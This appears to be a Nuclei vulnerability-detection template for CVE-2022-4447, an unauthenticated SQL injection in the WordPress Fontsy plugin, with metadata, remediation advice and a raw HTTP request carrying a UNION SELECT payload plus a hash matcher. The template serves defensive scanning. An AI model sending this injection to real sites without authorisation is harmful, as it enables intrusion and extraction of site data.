WordPress Fontsy <=1.8.6 - SQL Injection

id: CVE-2022-4447

info:
  name: WordPress Fontsy <=1.8.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
    - https://wordpress.org/plugins/fontsy/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4447
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4447
    cwe-id: CWE-89
    epss-score: 0.04795
    epss-percentile: 0.90854
    cpe: cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fontsy_project
    product: fontsy
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wpscan,wp-plugin,sqli,fontsy,unauth,fontsy_project,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{md5(num)}}")'
        condition: and
# digest: 4b0a0048304602210086657e244f7c69b7867fb1a4c599fc1107fb1aaef78a491b1d49324c1ef686b602210092a5c671c354a6ba16c8d05babae7f26993f90c8d64412514bd012cb8d9713f7:922c64590222798bb761d5b6d8e72950